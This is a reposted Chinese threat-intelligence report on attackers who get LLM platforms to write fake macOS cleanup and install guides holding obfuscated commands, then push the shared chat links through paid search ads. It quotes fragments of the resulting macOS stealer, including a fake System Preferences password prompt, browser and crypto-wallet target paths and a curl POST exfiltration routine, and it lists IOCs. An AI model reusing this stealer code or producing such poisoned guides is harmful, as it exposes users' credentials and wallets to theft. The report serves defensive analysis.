“AI助手的背叛”|利用大模型会话分享的SEO投毒攻击分析报告

admin 2026-03-18 02:03:40 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该报告披露了一种利用大模型会话分享功能的SEO投毒攻击新范式。攻击者通过构造恶意对话并生成官方子域名链接,结合搜索引擎竞价排名诱导用户执行混淆代码。该攻击针对MacOS开发者及加密资产持有者,植入具备凭证窃取与数据回传功能的后门。报告详细剖析了攻击链与恶意样本逆向分析,建议用户审查代码、辨别链接来源及使用沙箱隔离。 综合评分: 93 文章分类: 威胁情报,AI安全,恶意软件,社会工程学,逆向分析


cover_image

“AI助手的背叛”|利用大模型会话分享的SEO投毒攻击分析报告

原创

腾讯威胁情报中心 腾讯威胁情报中心

腾讯安全威胁情报中心

2026年3月4日 10:01 上海

背景

2026 年初,以 Kimi、智谱 GLM、MiniMax 为代表的国产大模型迎来爆发式普及。行业数据显示,相关模型在 API 调用量上于 2 月份环比暴涨 127%,在全球头部模型调用量前五中独占四席。这种现象级普及标志着 AI 助手已从“尝鲜工具”转变为 IT 从业者不可或缺的生产力基础设施,开发者对这些主流平台的官方域名及回答内容产生了极高的生态黏性与心理信赖。

然而,这种高度信任正演变为安全防御的新盲区。近日,我们监测到一种极具欺骗性的新型攻击范式:攻击者巧妙利用 LLM 平台的公开会话分享功能,将精心构造的恶意载荷伪装成合法的技术方案嵌入对话中。通过搜索引擎投毒手段,攻击者购入搜索引擎的“赞助商”排名,确保当用户检索特定技术故障或安装教程时,恶意分享链接能精准触达目标人群。

这一攻击链条的致命性源于其对“信任链”的深度寄生

  1. 1. 官方域名背书:受害者点击的是大模型厂商的官方子域名,这类链接天然绕过了常规安全引擎对“钓鱼域名”的拦截逻辑。
  2. 2. 认知习惯利用:在 AI 驱动的现代化开发模式下,用户习惯于直接从对话框拷贝代码并在本地终端执行。攻击者正是利用了这种“信任平台即信任内容”的心理捷径,诱导用户运行经过混淆的恶意指令。

这标志着社会工程学攻击已进入信任链寄生的升维阶段——攻击者不再尝试正面打破防御,而是选择寄生在用户最信任的生产力入口内。一旦受害者在本地激活了看似无害的代码片段,其主机的敏感信息(如浏览器凭证、加密钱包密钥等)将面临全面失控,并被实时回传至攻击者控制的远程服务器。

一旦受害者主机被植入后门,其内部存储的敏感信息将面临全面失控,并被实时回传至攻击者控制的服务器。

新型LLM会话分享钓鱼攻击示意图

攻击手法复现

这一攻击链条巧妙地结合了 AI 生态功能与传统 SEO 攻击手段,通过“合规平台+恶意内容”的组合实现了极高成功率的入侵。以下是攻击者构建攻击链的核心步骤:

  1. 1. 诱导式提示词工程与恶意载荷植入: 攻击者首先在大模型平台上发起对话,利用精心设计的提示词引导模型生成看似专业、实则包含恶意载荷的代码片段。为了规避平台自身的安全审计并增强隐蔽性,攻击者通常将恶意指令进行 Base64 编码、混淆处理,或将其伪装成“官方安装脚本”、“一键优化补丁”。在会话中,攻击者还会利用 AI 生成极具说服力的步骤说明,诱导用户在本地终端(Terminal)中直接执行这些指令。

诱导提示词设计

  1. 2. 会话共享资产化与搜索引擎投毒: 攻击者利用平台的“公开分享”功能提取官方域名的分享链接。随后,攻击者将该链接作为核心“钓鱼资产”,在搜索引擎中竞标技术类关键词(如“MacOS 空间清理”、“某编程助手安装教程”等),通过商业排名推广使其占据搜索结果的显著位置。由于展示的 URL 具有极高的权威性,受害者在检索技术方案时往往会忽略潜在风险,点击进入后按照“AI 指引”执行操作,最终导致恶意后门在本地静默植入。

链接分享示例

受害者画像:高价值目标的精准猎杀

通过对攻击链条及恶意代码行为的深度分析,我们发现该攻击活动展现出极其鲜明的目标偏好,受害者画像高度集中于以下特征:

  1. 1. 高净值 MacOS 用户群体: 恶意载荷针对 MacOS 系统进行了深度定制,重点窃取 Keychain 凭证、浏览器隐私数据及加密货币钱包密钥。由于 MacOS 在互联网、金融及高端制造产业的高渗透率,其主机内存储的私密信息往往具有极高的经济价值。
  2. 2. 重度依赖 AI 生产力的开发者与 IT 从业者: 该群体日常工作中频繁使用搜索引擎解决复杂技术难题,对主流大模型平台有着极强的路径依赖,且习惯于在本地环境执行脚本。这种“高技术力”在特定场景下反而成为了防御短板——他们更倾向于相信 AI 给出的“一键式”技术方案,从而在无意中绕过了系统的安全预警。
  3. 3. 加密资产持有者与投资者: 由于载荷内置了针对 MetaMask、Phantom 等数十种主流钱包插件及桌面钱包(如 Electrum、Exodus)的嗅探逻辑,这表明窃取数字货币资产是攻击者的核心获利动机。

案例分析:针对 MacOS 空间清理需求的“定向投毒” 如下图所示,攻击者利用不同大模型厂商分别生成了极具欺骗性的 MacOS 空间清理指南,精准诱导寻求设备优化方案的用户进入陷阱:

攻击者利用 国内大模型厂商 生成的恶意 MacOS 清理指南

针对同一需求在 国外大模型 平台上构建的恶意分享内容

攻击案例剖析:从“搜索”到“失陷”的隐形链条

攻击者通过精准的关键词竞价,将承载恶意代码的分享链接推送到搜索引擎的顶部广告位。以下是一个典型的受害者失陷全过程分析:

1. 流量劫持与官方链接诱导

当开发者尝试搜索“xxx Code 安装教程”等技术关键词时,搜索引擎首页的赞助商结果会展示指向的官方分享链接。由于域名的权威性,用户几乎没有任何防御心理便点击进入。

2. 恶意代码执行与初步渗透

在分享页面中,AI 生成的“指导建议”会要求用户在终端(Terminal)执行一段经过 Base64 混淆的指令。由于用户对平台对话逻辑的信任,往往会忽略对代码内容的审核。执行后,该指令会启动一个隐藏的下载任务。

后续受害者主机将从 C2 地址 contatoplus[.]com 拉取第二阶段的恶意代码。

3. 全能型 MacOS 后门植入

关联分析显示,恶意载荷最终会从 45.94.47[.]204 加载一个功能完备的 MacOS 恶意后门(MD5: a2c4aea6f5b6f32aa2ee5013da4094db)。该后门采用 AppleScript (osascript) 编写,具备极其详尽的隐私嗅探能力:

  • • 社会工程学凭证窃取:通过伪造系统级的“系统偏好设置”对话框,循环弹窗诱导用户输入开机密码,实现权限提升或密钥链解锁。
  on getpwd(username, writemind)
      repeat
          set result to display dialog "Required Application Helper.\nPlease enter password for continue."
              default answer "" with icon caution buttons {"Continue"}
              with title "System Preferences" with hidden answer
          set password_entered to text returned of result
          if checkvalid(username, password_entered) then
              writeText(password_entered, writemind & "pwd")
              return password_entered
          end if
      end repeat
  end getpwd
  • • 全平台浏览器数据洗劫:覆盖 Chrome、Edge、Brave、Arc 等几乎所有主流 Chromium 系浏览器,窃取 Cookie、自动填充数据及保存的明文密码。
  set chromiumMap to {
      {"Chrome", library & "Google/Chrome/"},
      {"Arc", library & "Arc/"},
      -- ... 以及其他 10 余款浏览器
  }
  set chromiumFiles to {"/Network/Cookies", "/Login Data", "/Web Data", "/Local Extension Settings/"}
  • • 数字资产精准收割:内置针对 MetaMask、Binance、Coinbase 等 50 余款主流加密钱包插件的嗅探规则,并扫描本地 Electrum、Exodus 等桌面钱包数据库。
  • • 敏感文件自动化回传:针对桌、文档及下载目录,自动化检索 .txt.pdf.key.wallet 等后缀的文件,并将其压缩打包,通过 curl -X POST 方式渗漏至攻击者服务器。
  • • 其他窃取目标

| 目标 | 路径 | | — | — | | Keychain | ~/Library/Keychains/login.keychain-db | | Telegram | ~/Library/Application Support/Telegram Desktop/tdata/ | | Firefox | ~/Library/Application Support/Firefox/Profiles/ | | OpenVPN | OpenVPN Connect/profiles/ | | Apple Notes | NoteStore.sqlite | | Binance | app-store.json | | TonKeeper | config.json |

回传窃取数据代码如下

on send_data(attempt, gate, login, buildid, cl, cn)
do shell script "curl -X POST " &
"-H \"user: " & login & "\" " &
"-H \"BuildID: " & buildid & "\" " &
"-F \"file=@/tmp/out.zip\" " &
gate & "/contact"

    -- 失败重试,最多 15 次,每次间隔 60 秒
&nbsp; &nbsp; if&nbsp;attempt <&nbsp;15&nbsp;then
&nbsp; &nbsp; &nbsp; &nbsp; delay&nbsp;60
&nbsp; &nbsp; &nbsp; &nbsp; send_data(attempt +&nbsp;1, ...)
&nbsp; &nbsp; end&nbsp;if

end&nbsp;send_data

同时关联分析到一枚MacOS 二进制文件(deba7147df76bb068915fa0fd24c91c2),该文件作为解密器进一步解密执行恶意窃密脚本: 解密后的关键osascript脚本后通过popen执行,脚本详细 ida 插件解密逻辑如下:

import&nbsp;ida_bytes

def&nbsp;read_dword(addr):
&nbsp; &nbsp; return&nbsp;ida_bytes.get_dword(addr)

def&nbsp;read_byte(addr):
&nbsp; &nbsp; return&nbsp;ida_bytes.get_byte(addr)

def&nbsp;hex_decode_from_bytes(b:&nbsp;bytes) ->&nbsp;bytes:
&nbsp; &nbsp; # 等价于 sub_100000D70 的逻辑(这里只保留核心:十六进制字符串 -> bytes)
&nbsp; &nbsp; s = b.decode('ascii')
&nbsp; &nbsp; # 自动忽略可能末尾的 0
&nbsp; &nbsp; s = s.rstrip('\x00')
&nbsp; &nbsp; return&nbsp;bytes.fromhex(s)

def&nbsp;build_string_like_sub_100001060() ->&nbsp;bytes:
&nbsp; &nbsp; base1 =&nbsp;0x100339C60
&nbsp; &nbsp; base2 =&nbsp;0x10033A460
&nbsp; &nbsp; base_shift =&nbsp;0x10033A260
&nbsp; &nbsp; base_xor =&nbsp;0x10033A060
&nbsp; &nbsp; base_sub =&nbsp;0x100339E60

&nbsp; &nbsp; out_len =&nbsp;137&nbsp; # 对照函数里 *a1 = 137, a1[1] = 128,只用前 137 字节
&nbsp; &nbsp; out =&nbsp;bytearray(out_len)
&nbsp; &nbsp; v3 =&nbsp;0
&nbsp; &nbsp; v4 =&nbsp;0
&nbsp; &nbsp; v5 =&nbsp;0
&nbsp; &nbsp; while&nbsp;v3 !=&nbsp;512:&nbsp; # 128 * 4
&nbsp; &nbsp; &nbsp; &nbsp; v6 = read_dword(base1 + v3) - read_dword(base2 + v3)
&nbsp; &nbsp; &nbsp; &nbsp; shift = read_byte(base_shift + v3) &&nbsp;7
&nbsp; &nbsp; &nbsp; &nbsp; hi = (v6 &&nbsp;0xFF) >> shift
&nbsp; &nbsp; &nbsp; &nbsp; lo = (v6 << ((-shift) &&nbsp;7)) &&nbsp;0xFF
&nbsp; &nbsp; &nbsp; &nbsp; b = ((read_byte(base_xor + v3) ^ (hi | lo)) - read_byte(base_sub + v3)) &&nbsp;0xFF
&nbsp; &nbsp; &nbsp; &nbsp; out[v5] = b
&nbsp; &nbsp; &nbsp; &nbsp; v4 = ((v5 ^ read_dword(base1 + v3)) + v4) &&nbsp;0xFFFFFFFF&nbsp; # 这里不用 ROL 结果,只保持形式
&nbsp; &nbsp; &nbsp; &nbsp; v5 +=&nbsp;1
&nbsp; &nbsp; &nbsp; &nbsp; v3 +=&nbsp;4
&nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;v5 >= out_len:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break
&nbsp; &nbsp; return&nbsp;bytes(out)

def&nbsp;build_bytes_like_sub_100000F60() ->&nbsp;bytes:
&nbsp; &nbsp; base1 =&nbsp;0x100002680
&nbsp; &nbsp; base2 =&nbsp;0x10028B740
&nbsp; &nbsp; base_shift =&nbsp;0x1001E9310
&nbsp; &nbsp; base_xor =&nbsp;0x100146EE0
&nbsp; &nbsp; base_sub =&nbsp;0x1000A4AB0

&nbsp; &nbsp; total =&nbsp;166156&nbsp; # a1[1]
&nbsp; &nbsp; out =&nbsp;bytearray(total)
&nbsp; &nbsp; v3 =&nbsp;0
&nbsp; &nbsp; v4 =&nbsp;0
&nbsp; &nbsp; i =&nbsp;0
&nbsp; &nbsp; while&nbsp;i != total:
&nbsp; &nbsp; &nbsp; &nbsp; v7 = read_dword(base1 + v3)
&nbsp; &nbsp; &nbsp; &nbsp; v8 = (v7 - read_dword(base2 + v3)) &&nbsp;0xFFFFFFFF
&nbsp; &nbsp; &nbsp; &nbsp; shift = read_byte(base_shift + v3) &&nbsp;7
&nbsp; &nbsp; &nbsp; &nbsp; hi = (v8 &&nbsp;0xFF) >> shift
&nbsp; &nbsp; &nbsp; &nbsp; lo = (v8 << ((-shift) &&nbsp;7)) &&nbsp;0xFF
&nbsp; &nbsp; &nbsp; &nbsp; b = ((read_byte(base_xor + v3) ^ (hi | lo)) - read_byte(base_sub + v3)) &&nbsp;0xFF
&nbsp; &nbsp; &nbsp; &nbsp; out[i] = b
&nbsp; &nbsp; &nbsp; &nbsp; v4 = ((-1640531535&nbsp;* v4) ^ v7) &&nbsp;0xFFFFFFFF
&nbsp; &nbsp; &nbsp; &nbsp; v3 +=&nbsp;4
&nbsp; &nbsp; &nbsp; &nbsp; i +=&nbsp;1
&nbsp; &nbsp; return&nbsp;bytes(out)

def&nbsp;build_alphabet() ->&nbsp;bytes:
&nbsp; &nbsp; s0 = build_string_like_sub_100001060()
&nbsp; &nbsp; return&nbsp;hex_decode_from_bytes(s0)

def&nbsp;build_cipher1() ->&nbsp;bytes:
&nbsp; &nbsp; base =&nbsp;0x10032DB78
&nbsp; &nbsp; length =&nbsp;4056&nbsp; # 循环 i != 4056
&nbsp; &nbsp; v_buf =&nbsp;bytearray(length)
&nbsp; &nbsp; v3 =&nbsp;0
&nbsp; &nbsp; v13 =&nbsp;0
&nbsp; &nbsp; for&nbsp;i&nbsp;in&nbsp;range(length):
&nbsp; &nbsp; &nbsp; &nbsp; # 每 12 字节一条记录: [a (dword), b (dword), shift (dword)]
&nbsp; &nbsp; &nbsp; &nbsp; rec = base + i *&nbsp;12
&nbsp; &nbsp; &nbsp; &nbsp; a = read_dword(rec -&nbsp;8)&nbsp; # *((_DWORD*)v14 - 2)
&nbsp; &nbsp; &nbsp; &nbsp; b = read_dword(rec -&nbsp;4)&nbsp; # *((_DWORD*)v14 - 1)
&nbsp; &nbsp; &nbsp; &nbsp; shift = read_byte(rec)&nbsp; &nbsp;# *v14
&nbsp; &nbsp; &nbsp; &nbsp; val = ((a ^ (3&nbsp;* b)) >> shift) - b
&nbsp; &nbsp; &nbsp; &nbsp; v_buf[i] = val &&nbsp;0xFF
&nbsp; &nbsp; &nbsp; &nbsp; v13 = ((-1640531535&nbsp;* v13) ^ a) &&nbsp;0xFFFFFFFF
&nbsp; &nbsp; # v_buf 里就是 ASCII hex 字符串
&nbsp; &nbsp; return&nbsp;hex_decode_from_bytes(bytes(v_buf))

def&nbsp;build_cipher2() ->&nbsp;bytes:
&nbsp; &nbsp; s = build_bytes_like_sub_100000F60()
&nbsp; &nbsp; return&nbsp;hex_decode_from_bytes(s)

def&nbsp;build_alpha_map(alphabet:&nbsp;bytes) ->&nbsp;dict:
&nbsp; &nbsp; return&nbsp;{alphabet[i]: i&nbsp;for&nbsp;i&nbsp;in&nbsp;range(len(alphabet))}

def&nbsp;decode_custom_base64(cipher:&nbsp;bytes, alpha_map:&nbsp;dict) ->&nbsp;bytes:
&nbsp; &nbsp; acc =&nbsp;0
&nbsp; &nbsp; bitlen =&nbsp;0
&nbsp; &nbsp; out =&nbsp;bytearray()

&nbsp; &nbsp; for&nbsp;c&nbsp;in&nbsp;cipher:
&nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;c&nbsp;not&nbsp;in&nbsp;alpha_map:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; continue
&nbsp; &nbsp; &nbsp; &nbsp; val = alpha_map[c] &&nbsp;0x3F
&nbsp; &nbsp; &nbsp; &nbsp; acc = (acc <<&nbsp;6) | val
&nbsp; &nbsp; &nbsp; &nbsp; bitlen +=&nbsp;6
&nbsp; &nbsp; &nbsp; &nbsp; while&nbsp;bitlen >=&nbsp;8:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bitlen -=&nbsp;8
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; out.append((acc >> bitlen) &&nbsp;0xFF)
&nbsp; &nbsp; return&nbsp;bytes(out)

def&nbsp;main():
&nbsp; &nbsp; # 1) 构造 base64 字母表
&nbsp; &nbsp; alphabet = build_alphabet()
&nbsp; &nbsp; alpha_map = build_alpha_map(alphabet)

&nbsp; &nbsp; # 2) 第一段:使用 unk_10032DB78 对应的 hex -> bytes,再自定义 base64 解码
&nbsp; &nbsp; key1 = build_cipher1()
&nbsp; &nbsp; script1 = decode_custom_base64(key1, alpha_map)
&nbsp; &nbsp; print("[*] Stage1 script/command:")
&nbsp; &nbsp; print(script1.decode('utf-8', errors='replace'))

&nbsp; &nbsp; # 3) 第二段:使用 sub_100000F60 的大表
&nbsp; &nbsp; key2 = build_cipher2()
&nbsp; &nbsp; script2 = decode_custom_base64(key2, alpha_map)
&nbsp; &nbsp; print("[*] Stage2 script/command:")
&nbsp; &nbsp; print(script2.decode('utf-8', errors='replace'))

&nbsp; &nbsp; # 4) 第三段:start() 里 case 3 部分同样用第二批表 + 相同 alphabet,
&nbsp; &nbsp; # &nbsp; &nbsp;实际上 script2 通常已经包含进一步要执行的命令/脚本

if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp; main()

解密后的脚本函数名,关键字符经过混淆,分析为同类功能的osascript窃密功能脚本。

IOCs

| 类型 | IOC | | — | — | | MD5 | a2c4aea6f5b6f32aa2ee5013da4094db | | | deba7147df76bb068915fa0fd24c91c2 | | DOMAIN | contatoplus[.]com | | URL | hxxps://contatoplus.com/curl/Ka2842.d99683a65d1Jedf47H6aJce.56H47d099f#6e7eb&H7m7dm3d01fb7c23 | | | hxxps://contatoplus.com/notebook/update | | IP | 45.94.47[.]204 |

结语:当信任成为攻击的阶梯

本次攻击事件揭示了一种令人警惕的社会工程学攻击范式演变:攻击者不再单纯依赖伪造的界面或粗劣的钓鱼邮件,而是巧妙地将攻击载荷“寄生”在可信度极高的大模型官方平台之上。通过结合搜索引擎的精准分发能力,这种“官方域名+AI回复+SEO投毒”的组合拳,本质上是对现代技术从业者生产力习惯的精准狙击

当 AI 助手成为我们大脑的延伸时,安全防御的边界也不再仅仅是防火墙或杀毒软件,而是我们内心最后一道关于“信任”的防线。大模型平台官方链接所带来的“天然安全感”,在攻击者手中变成了一把透明的尖刀,隐蔽地刺向了防备最薄弱的技术生态。

随着国产大模型调用量的进一步暴涨,此类利用 AI 生态功能进行的隐形攻击预料将持续演化。针对此类威胁,我们建议每一位技术从业者构建以下安全防御准则:

  1. 1. 祛除“官方滤镜”,保持逻辑审查: 对任何来源的代码片段,即使其展示在大模型厂商的官方页面上,执行前也必须进行深度审查。对于任何包含 curl | bashpowershell -enc、大规模 Base64 编码或不明 URL 的指令,应保持最高级别的警惕。
  2. 2. 辨析“分享”与“生成”的界限: 搜索引擎结果中的 LLM 链接多为第三方分享的静态记录,不代表平台官方的生成结果,更不代表平台的安全性背书。在处理敏感操作或获取安装指南时,应优先通过平台官网发起全新的对话,避免使用他人分享的对话链接。
  3. 3. 坚持生产环境的物理隔离: 对于任何未经审计的脚本或复杂方案,应始终遵循“沙箱优先”原则。在虚拟机或完全隔离的容器环境中进行首轮测试,是防御此类针对主机凭证窃取攻击的最有效手段。

在 AI 时代,比算法进化更快的是人性弱点的利用。唯有保持怀疑,方能守护安全。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:腾讯安全威胁情报中心 腾讯威胁情报中心 腾讯威胁情报中心《“AI助手的背叛”|利用大模型会话分享的SEO投毒攻击分析报告》

评论:0   参与:  0